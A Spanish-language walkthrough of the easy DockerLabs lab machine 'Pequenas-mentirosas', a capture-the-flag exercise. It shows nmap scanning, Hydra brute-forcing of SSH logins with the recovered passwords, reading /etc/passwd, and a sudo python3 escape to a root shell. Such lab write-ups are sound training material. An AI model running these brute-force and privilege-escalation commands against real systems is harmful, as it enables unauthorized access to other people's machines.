Pequenas-mentirosas DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip pequenas-mentirosas.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh pequenas-mentirosas.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 12:08 EST
Nmap scan report for 172.17.0.2
Host is up (0.000026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 9e:10:58:a5:1a:42:9d:be:e5:19:d1:2e:79:9c:ce:21 (ECDSA)
|_  256 6b:a3:a8:84:e0:33:57:fc:44:49:69:41:7d:d3:c9:92 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.73 seconds

Si entramos en la pagina veremos solamente este mensaje:

Pista: Encuentra la clave para A en los archivos.

Si hacemos un poco de fuzzing no veremos gran cosa por lo que vamos a tirarle fuerza bruta a la palabra a con la herramienta hydra.

Escalate user a

Hydra

hydra -l a -P <WORDLIST> ssh://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-30 12:14:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: a   password: secret
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 22 final worker threads did not complete until end.
[ERROR] 22 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 12:14:17

Vemos que efectivamente nos encuentra las credenciales, por lo que nos meteremos como dicho usuario.

SSH

ssh a@<IP>

Metemos como contraseña secret y veremos que estamos dentro.

Escalate user spencer

Si listamos el archivo de passwd veremos lo siguiente:

cat /etc/passwd | grep "/bin/bash"

Info:

root:x:0:0:root:/root:/bin/bash
spencer:x:1000:1000::/home/spencer:/bin/bash
a:x:1001:1001::/home/a:/bin/bash

Vemos que hay otro usuario, por lo que probaremos a tirarle de nuevo fuerza bruta.

Hydra

hydra -l spencer -P <WORDLIST> ssh://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-30 12:17:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: spencer   password: password1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 24 final worker threads did not complete until end.
[ERROR] 24 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 12:17:47

Vemos que encontramos las credenciales del usuario spencer por lo que haremos lo siguiente:

su spencer

Metemos como contraseña password1 y veremos que somo dicho usuario.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for spencer on 7ed327dd9786:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User spencer may run the following commands on 7ed327dd9786:
    (ALL) NOPASSWD: /usr/bin/python3

Vemos que podemos ejecutar el binario python3 como el usuario root, por lo que haremos lo siguiente:

sudo python3 -c 'import os; os.system("/bin/bash")'

Info:

root@7ed327dd9786:/home/spencer# whoami
root

Y con esto seremos root, por lo que ya habremos terminado la maquina.

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Last updated 9 days ago